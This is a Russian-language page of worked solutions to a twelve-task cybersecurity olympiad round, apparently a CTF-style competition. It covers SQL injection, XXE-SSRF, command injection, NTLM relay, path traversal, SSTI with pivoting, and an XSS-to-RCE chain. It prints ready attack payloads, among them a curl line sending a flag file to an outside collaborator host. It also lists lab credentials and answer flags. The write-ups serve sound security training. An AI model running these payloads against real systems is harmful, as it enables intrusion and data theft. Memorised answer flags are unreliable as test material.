search icon search icon ВЕРСИЯ ДЛЯ СЛАБОВИДЯЩИХ

Инженерный тур. 1 этап

Задача 1.1.(100 баллов)
Beauty Shop
Тема: SQL Injection

Условие

Разгадайте, что скрывает за собой этот онлайн-магазин?

http://147.45.143.178:57190

Решение

Для решения задачи требуется понять, что в поиске на сайте имеется SQL Injection (например, путем указания символа ' и изучения сообщения об ошибке), а затем проэксплуатировать SQL Injection и прочитать флаг из базы, например, с помощью sqlmap.

Ответ

NTO(426c324f09185b7cbfc0126341e81e48).

Задача 1.2.(200 баллов)
Известная уязвимость
Тема: CVE-2020-20277 в uftpd 2.7.0

Условие

Проверьте безопасность сервера 176.124.200.110.

Флаг в /flag.txt.

Для решения может потребоваться открыть порт на белом IP-адресе. Для этого можно использовать подготовленный для участников сервер 147.45.163.48. После входа будет доступен для прослушивания один порт, указанный в приветственном сообщении.

‘ssh user@147.45.163.48‘

Пароль: ‘F328fgFE78wfgewh@13‘

Решение

Необходимо найти порт 13337 на сервере с помощью сканирования (например, с помощью nmap), определить, что на нем работает uftpd версии 2.7.0 (прочитав баннер сервиса), и найти эксплойт для этой версии на https://www.exploit-db.com/.

Для входа нужно использовать анонимную аутентификацию.

Прочитать флаг можно, открыв любой порт на прослушивание (например, 36759 на предоставленном участникам сервере 147.45.163.48) и отправив запрос на сервер:

PORT 147,45,163,48,1,36503

RETR ../../../../flag.txt

Ответ

NTO(ftp_not_a_good_thing).

Задача 1.3.(200 баллов)
Повышение привилегий
Тема: Linux local privilege escalation

Условие

Админ говорит, что настроил абсолютно защищенную систему...

Докажите ему обратное.

`ssh task@176.124.200.123`
Password: `a#@}jOJ0mo7QF2?`

Решение

Для решения задания необходимо подключиться к серверу через SSH.

После, изучив вывод команды sudo -l, необходимо просмотреть содержание скрипта /usr/local/bin/write_to_logs.sh и обнаружить, что в скрипте есть уязвимость Path Traversal.

Далее, изучая систему, можно наткнуться на скрипт /usr/local/bin/cron_script.sh, и, судя по названию файла, необходимо найти правило в планировщике задач, которое будет запускать этот скрипт. Само правило находится по пути /etc/cron.d/cron_script.

Зная все вводные, напишем скрипт в директорию /home/admin/scripts с названием, начинающимся на logs (такое условие в cron_script.sh):

sudo -u admin /usr/local/bin/write_to_logs.sh ../../../../../../../../../home/admin/.scripts/logs_1.sh '\#!/bin/bash
cat /root/flag > /tmp/flag'

Спустя 1 мин в директории /tmp появится наш flag.

Ответ

NTO(045e76aceaae73be3757feaec1066c0d).

Задача 1.4.(300 баллов)
XML Genie
Тема: XXE-SSRF

Условие

Обнаружен один из поддоменов компании, на котором странный сайт http://site.r8rox9jpftj8b9zjgadn.labs.cyber-ed.space/.

Попробуйте разобраться с безопасностью, может получится забрать что-нибудь ценное из внутренней сети.

Решение

Изучив веб-сайт компании, выясним, что там ничего интересного.

Рис. 1.1.

Попробуем пробрутить поддомены.

ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.j3li7fnp0j3t0z4q2j4s.labs.cyber-ed.space

ffuf -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u http://FUZZ.j3li7fnp0j3t0z4q2j4s.labs.cyber-ed.space

Обнаружим, что помимо исходного поддомена site, еще имеется поддомен exchange.j3li7fnp0j3t0z4q2j4s.labs.cyber-ed.space.

Рис. 1.2.

Функционал сервиса похож на регистрацию через XML. Вводим свои тестовые данные и загружаем xml-файл.

Рис. 1.3.

Сервис предоставляет возможность самостоятельно предоставить .xml-файл для обработки. Используя скачанный xml-файл как образец, попробуем проэксплуатировать XXE.

Рис. 1.4.

Рис. 1.5.

Ура! У нас получилось!

Немного поизучав систему и прочитав файл /etc/hosts, обнаруживаем во внутренней сети какой-то sharepoint.corp.local.

Рис. 1.6.

Теперь попробуем провести SSRF через XXE. С помощью Burp Intruder подбираем подходящее доменное имя во внутренней сети веб-приложения (sharepoint).

xml
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "http://sharepoint" >
]>
<people>
  <person>
    <name>age</name>
    <surname>&xxe;</surname>
    <age>3</age>
    <telephone>age</telephone>
  </person>
</people>

Получаем в ответе флаг.

Ответ

NTO(8329e576666ad79688ea5c9371ce54ad).

Задача 1.5.(100 баллов)
Digger
Тема: Command injection

Условие

Необходимо проэксплуатировать уязвимость на сайте, который позволяет изучать IP-адреса.

http://147.45.143.178:43560.

Решение

Для решения задачи нужно в поле IP Address вбить строку 1.2.3.4; cat /flag.txt, что приведет к Command Injection в сервисе.

dig -x 1.2.3.4; cat /flag.txt

Это позволяет получить флаг.

Ответ

NTO(78518a7400808d5a269ea53dd1ab3c5e).

Задача 1.6.(300 баллов)
PotamPetit
Тема: Relay PetitPotam -> MSSQL

Условие

Найдите флаг, расположенный где-то в недрах БД корпоративной сети.

Домен контроллер — 192.168.100.1

БД — 192.168.100.20

Для доступа к корпоративной сети необходимо подключиться к OpenVPN серверу https://s3.timeweb.cloud/25e0b98f-ctf/178eabddb1eef7e3548b75bbc91c9b49/infra.ovpn.

Решение

Скрипт запишет флаг в таблицу contacts БД people на SRV-SQL.

Команды для выполнения задания:

#1.
python3 PetitPotam.py <kali_ip> 192.168.100.1
#2.
python3 ntlmrelayx.py -socks -t mssql://192.168.100.20
#3.
proxychains -q python3 mssqlclient.py -no-pass -windows-auth CONTOSO/DC01\$@192.168.100.20

Ответ

NTO(PetitPotamPotamPetimFlag).

Задача 1.7.(300 баллов)
Chain of vulns
Тема: PathTrav

Условие

Можно ли прочитать то, что скрывается в информации о пользователях данной компании?

http://147.45.143.178:32850

Решение

Используя уязвимость Path traversal, читаем файлы:

/documents/download?file=....//....//....//....//....//....//.... //etc/passwd

Читаем исходный код приложения:

/documents/download?file=....//app.py

Находим там import app, читаем файл приложения:

/documents/download?file=....//app/__init__.py

В нем видим использование модуля app.auth.routes, читаем его:

/documents/download?file=....//app/auth/routes.py

Там видим файл моделей app.auth.models, читаем его:

/documents/download?file=....//app/auth/models.py

Читаем код и находим ошибку проверки пароля.

Обходим авторизацию:

username=a%25&password=.*&login=

Читаем информацию о пользователе платформы с полученными cookies: /profile и получаем флаг.

Ответ

NTO(0fd42142896820873b3c88d1b2cef32d).

Задача 1.8.(200 баллов)
Cutezator
Темы: SSTI, CVE, Pivoting

Условие

Найден милый сайт, который посылает пользователю комплимент, нужно лишь оставить свое имя. Советую глянуть http://45.91.238.91:5000/.

Задача: считать флаг по маршруту /root/flag.txt.

Имейте ввиду, что при создании персонального «таска» на N-порту также дополнительно создается служба SSH на N+1 порту.

Решение

  1. Посетив ссылку на таск, можно увидеть борду (рис. 1.7), с которой запускается персональный экземпляр таска. В этой же борде, если есть какие-то проблемы, можно остановить свой таск и запустить его заново.

    Рис. 1.7.

  2. После запуска таска сгенерируется персональный docker-контейнер и перекинет пользователя на его главную страницу.

    Рис. 1.8.

  3. Из описания ясно, что, помимо веба, на N-порту есть еще служба SSH на N+1 порту.

    Рис. 1.9.

    Это пригодится позже при Pivoting’е.

  4. Если же на главной веб-странице что-то написать в форме и ее отправить, отправится POST-запрос по маршруту /cutezator.php, в ответ на который вернется страничка, содержащая наш ввод + милый комплимент :3.

    Рис. 1.10.

  5. Далее следует проэксплуатировать SSTI-уязвимость.

    Рис. 1.11.

    Рис. 1.12.

  6. Поскольку существуют намеки на SSTI , а кроме того, используется расширение .php, то, вероятно, применяется движок Twig, с помощью которого можно получить RCE.

    Рис. 1.13.

    Рис. 1.14.

    Рис. 1.15.

  7. Разберем, с чем имеем дело.

    Пользовательь — nobody, то есть через него нельзя подключиться под SSH.

    Рис. 1.16.

    Изначально находимся в директории /var/www/html.

    Рис. 1.17.

    В этой директории нет никаких интересных файлов, кроме entrypoint.sh и healthcheck.sh, которые нельзя прочитать или использовать для записи.

    Рис. 1.18.

    В директории /home есть папка vivek, это наталкивает на мысль, что есть потенциальный пользователь, через которого можно сидеть на SSH.

    Рис. 1.19.

    Посмотрим, что у него есть в директории.

    Рис. 1.20.

    У него есть файл .bash_history, в котором раскрывается пароль пользователя vivek.

    Рис. 1.21.

    И есть файл-обманка, который намекает, что в сети есть хост с последним октетом 20, и дается какая-то строка, которую стоит запомнить.

    Рис. 1.22.

    Посмотрев свою сеть, в данном случае сеть с третим октетом 1, можно прийти к мысли о том, чтобы просканировать хост 10.0.1.20.

    Рис. 1.23.

  8. Собрав всю нужную информацию, можно пойти двумя путями:

    1. использовать reverseshell;
    2. пивотиться через SSH.

    Данный райтап будет рассматривать второй вариант.

  9. Для пивотинга через SSH Dynamic Port Forwarding нужно ввести команду:

    ssh vivek@<хост с таском> -p <SSH-порт> -D <локальный порт>

    Таким образом подключаемся по SSH к контейнеру с таском через пользователя vivek, и теперь локальный порт, в случае на рис. 1.24 \(4444\), будет прокидывать весь трафик через SSH.

    Рис. 1.24.

  10. Немного изменяем файл с конфигурацией proxychains, чтобы весь трафик отправлять на локальный порт \(4444\), который потом пойдет через SSH.

    Рис. 1.25.

  11. Проверяем, что все работает корректно.

    Рис. 1.26.

  12. Теперь с помощью SSH-пивотинга можем просканировать тот загадочный хост (главное не забыть флаг -sT).

    Рис. 1.27.

  13. Узнаем, что на ней открыта служба redis.

    Рис. 1.28.

  14. Подключаемся к redis и используем пароль из файла /home/vivek/flag.txt, чтобы аутентифицироваться.

    Рис. 1.29.

  15. Походив по redis и не обнаружив ничего интересного, выводим всю информацию о redis, из которой узнаем, что используется redis версии 5.0.7.

    Рис. 1.30.

  16. Загуглив redis 5.0.7 cve, узнаем, что существует CVE-2022-0543.

    Рис. 1.31.

  17. С помощью данной CVE можем выполнять произвольные Lua-скрипты для выполнения системных команд на хосте.

    Рис. 1.32.

  18. Проверяем PoC.

    Рис. 1.33.

  19. Немного модернизируем PoC для чтения файла /root/flag.txt и получаем флаг!

    Рис. 1.34.

Ответ

NTO(c1asS1C-sSt1-aNd-p1V0t).

Задача 1.9.(100 баллов)
Tech Store
Темы: Cross Site Scripting, анализ исходного кода

Условие

Гуляя по просторам интернета, наткнулся на этот странный сайт с поддержкой. Он выглядит каким-то небезопасным =) http://147.45.143.139:49183.

Задача: считать флаг по пути /web_task/flag.txt.

Исходный код: https://s3.timeweb.cloud/25e0b98f-ctf/9adfa7c60264f81a839c7537b4ff838e/src.zip.

Решение

  1. Посетив таск, можно увидеть страницу с функцией поиска и обратной связи.

    Рис. 1.35.

  2. Если в поиск вставить XSS-payload и отправить запрос, от имени браузера отправится GET-запрос по маршруту

            /api/find-product?product=<XSS payload>

    В ответ приложение вернет страницу, в которую напрямую подставляется наш ввод, из-за чего существует уязвимость Reflected XSS.

            Payload: <img src=x onerror=alert(1)>

    Рис. 1.36.

    Рис. 1.37.

  3. В функции обратной связи можно увидеть специальную форму, используя которую, можно отправить HTTP-запросы от лица бота на любой маршрут.

    Рис. 1.38.

  4. В качестве подтверждения теории можно использовать нагрузку типа <img src="https://collaborator">. Достаточно ее протестировать на себе, скопировать URL-часть, начиная с api, и отдать боту. После этого подождать отстук на коллаборатор (в качестве коллаборатора можно использовать любой публичный ресурс, например, https://public.requestbin.com/r/).

    Рис. 1.39.

    Рис. 1.40.

    Рис. 1.41.

  5. После того как изучена вся «видимая» часть таска, можно посмотреть в код из архива files.zip.

    В файле server.py можно увидеть маршрут /api/test-connection, принимающий GET-параметр address, чье значение попадает в функцию subprocess.getoutput(). Данная функция может использоваться для эксплуатации RCE. Однако в 37-й строчке можно увидеть проверку на наличие специального cookie: secret, значение которого неизвестно, из-за чего самостоятельно проэксплуатировать RCE нельзя.

    Рис. 1.42.

  6. В файле admin_bot.js, который отвечает за работу бота, можно увидеть на 39-й строчке, что боту выдается как раз эта cookie secret.

    Рис. 1.43.

    Однако у cookie стоит флаг HttpOnly, из-за чего напрямую украсть ее нельзя. Но можно, используя бота, все равно обратиться к маршруту с RCE и исполнить произвольную системную команду.

  7. В качестве примера можно обратиться к данному маршруту от лица бота и передать в GET-параметре address collaborator домен, на который должен отправиться DNS-запрос из-за команды nslookup.

    Полезная нагрузка в сыром виде:

            <script>fetch('http://<адрес приложения>/api/test-connection?address=collaborator') </script>

    Полезная нагрузка для бота в URL-кодировке:

            api/find-product?product=<script>fetch%28%27http%3A%2F%2F <адрес приложения>%2Fapi%2Ftest-connection%3Faddress%3 Dcollaborator%27%29<%2Fscript>

    Рис. 1.44.

    Рис. 1.45.

  8. И если немного доработать полезную нагрузку, то можно извлечь содержимое файла flag.txt:

            <script>fetch('http://<адрес приложения>/api/test-connection?address=; curl -d @flag.txt https://collaborator')</script>

    После чего на коллаборатор придет флаг.

Ответ

NTO(5b276a850d5de04f877331faf88dd7f2).

Задача 1.10.(100 баллов)
Telnet
Тема: анализ сетевого трафика

Условие

Можно ли найти что-то интересное в дампе трафика с компьютера администратора?

https://s3.timeweb.cloud/25e0b98f-ctf/ba775ead527d21e787aa611a284c2df5/dump.pcapng

Решение

  • Открыть дамп трафика в wireshark.
  • Добавить фильтр telnet.
  • Найти пароли, передаваемые в открытом виде.
  • Подключиться к обнаруженному хосту с полученными кредами.
  • Выполнить команду cat flag.

Ответ

NTO(3b07a189afc2d6fbfbd8c8ce63f6ee2d).

Задача 1.11.(100 баллов)
Weak Shamir
Тема: crypto

Условие

Главный администратор компании, собираясь в отпуск, на всякий случай решил оставить SSH-ключ от сервера бэкапирования своей команде.

Однако он никому не доверяет. Поэтому разделил ключ на несколько частей, чтобы в случае ЧС ключ смогли восстановить, только работая в команде (минимум два человека).

Стоит отметить, что начальник думает, что он хорош в криптографии и использовал для разделения ключа схему Шамира с целыми положительными коэффициентами кривой, однако из-за недостатка времени не прибегал к модулярной арифметике.

Сможет ли один из админов, оставшись в критический момент в одиночестве, получить доступ, восстановить доступ к серверу с бэкапами и вернуть инфраструктуру компании к жизни?

Информация от администратора: https://s3.timeweb.cloud/25e0b98f-ctf/e9e532868564edc593eefce84bdf596f/info.txt.

Ключ должен подходить к серверу:

`ssh admin@147.45.143.178`

Решение

Разбираемся со схемой Шамира (например, с помощью статьи по теме: https://habr.com/ru/articles/431392/).

Разделение секрета выполнено только для двух человек, поэтому используется прямая линия в качестве кривой.

Используя отсутствие модулярной арифметики, а также ограничения на коэффициенты (целые, положительные) и малый размер точки, перебираем секрет.

Перебор можно упростить, так как в секрете должен быть заголовок от ssh ключа

-----BEGIN OPENSSH PRIVATE KEY-----

Ответ

NTO(7de930b8167bec6a630c8f328d504598).

Задача 1.12.(100 баллов)
Logs, logs, logs...
Темы: анализ логов атаки на веб-приложение, SQL-инъекция

Условие

Что-то в этих логах есть странное, непонятно только что...

https://s3.timeweb.cloud/25e0b98f-ctf/4626b3518cea73d6de4ada6b3277cad7/web_application.log

Решение

Для решения необходимо найти в логах следы SQLi. При неправильном символе — выдается код ответа 500:

2024-07-20 13:53:43,065 - 32.102.121.254 - - [20/Jul/2024 13:53:43] "GET /?user=3232' and (select substr(flag,1,1) from flag)='w' -- HTTP/1.1" 500 -

Код 200 означает правильный символ:

2024-07-20 13:54:08,065 - 32.102.121.254 - - [20/Jul/2024 13:54:08] "GET /?user=3232' and (select substr(flag,1,1) from flag)='6' -- HTTP/1.1" 200 -

Исходя из этих данных, можно найти все ответы 200, определить все символы флага, соединить их и получить флаг в исходном виде.

Ответ

NTO(7j78bph3zl5v4mp1maevmjdydjt0pyrk).

text slider background image text slider background image
text slider background image text slider background image text slider background image text slider background image